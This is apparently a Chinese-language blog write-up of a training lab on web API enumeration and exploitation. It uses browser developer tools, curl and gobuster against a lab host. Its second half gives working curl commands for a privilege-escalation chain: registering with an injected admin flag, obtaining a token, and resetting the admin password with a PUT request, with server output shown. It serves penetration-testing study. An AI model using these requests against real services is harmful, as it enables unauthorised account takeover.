Web 應用程序枚舉技術 2

 Web 應用程序枚舉技術 2


透過 Firefox F12 工具可以查到許多資訊,例如預設開啟的 Inspector

可以看到框架中的每個元素語法




Debugger 可以看到每個 JavaScript 與寫法,甚至可以 COPY JavaScript 到 Console 去 Run




以及最重要的 Network 查看 HTTP Header



kali 底下善用 curl 直接打 URL 是一個好方法

範例 : curl [URL] or curl http://ooxx.test.com

另外 curl 最常搭配參數 -i : include protocol response headers in the output




另外透過 gobuster 枚舉 API,因為 API 很常在 URL 用 v1、v2 等來區別且放在 URL 中

所以先建立一個檔案如下

vi pattern --> 建立一個檔名叫 pattern 的檔案,檔案內容如下

{GOBUSTER}/v1

{GOBUSTER}/v2



然後使用 gobuster 指令執行列舉包含 API(帶上述的檔案)

指令 : gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern

可以看到下方就枚舉出了幾個 API 路徑 /books/v1 & /users/v1




API 通常都要透過瀏覽器直接去打打看得到輸出結果,或是用 curl 真實去打打看

如下範例可以看到透過 curl 去打 API 結果看到 admin 帳號,這時候就有可能是一個有效的管理員帳號




若透過 curl 直接打 API 反應顯示為使用者帳號不存在,表示該 API 需要認證

此時可以在送出的指令加上帳號與密碼





因為 API URL 吃的是 JOSON 格式,所以在透過 curl 打的時候可以編碼 JOSON 格式去打

-d 參數 : 輸入管理員用戶名和密碼作為 JSON 數據傳遞

-H 參數 : 指定 “Content-Type” 為 “application/json”

例如 : curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/login




接著嘗試打註冊 API 如下,看到返回 Email 欄位為必須值

指令 : curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register



就修改 curl 指令再打打看如下

指令 : curl -d '{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register

看起來好像成功註冊了




註冊完成後用該帳號密碼再打一次剛剛的 login API 試試看發現成功登入

也提供了 token 給我們




下一步當然就是帶此 token 把剛剛枚舉到的 admin 密碼給換掉

指令 : curl  \

  'http://192.168.50.16:5002/users/v1/admin/password' \

  -H 'Content-Type: application/json' \

  -H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \

  -d '{"password": "pwned"}'

告訴我們不支援該 HTTP Request Method




這時候利用 -X 參數將 HTTP Request 請求改成 PUT 試試看(POST 也可嘗試)

curl -X 'PUT' \
  'http://192.168.50.16:5002/users/v1/admin/password' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \
  -d '{"password": "pwned"}'

這一次神奇的沒有收到任何錯誤訊息,看來就是成功了




帶入 admin 與密碼嘗試登入.......成功了

kali@kali:~$ curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: application/json'  http://192.168.50.16:5002/users/v1/login
{"auth_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzIxMjgsImlhdCI6MTY0OTI3MTgyOCwic3ViIjoiYWRtaW4ifQ.yNgxeIUH0XLElK95TCU88lQSLP6lCl7usZYoZDlUlo0", "message": "Successfully logged in.", "status": "success"}


另外可以善用 GUI 工具 Burp Suite 來打 API 讓畫面更加友善,JASON 格式輸入方式如下




打完即可在 Response 察看結果







留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)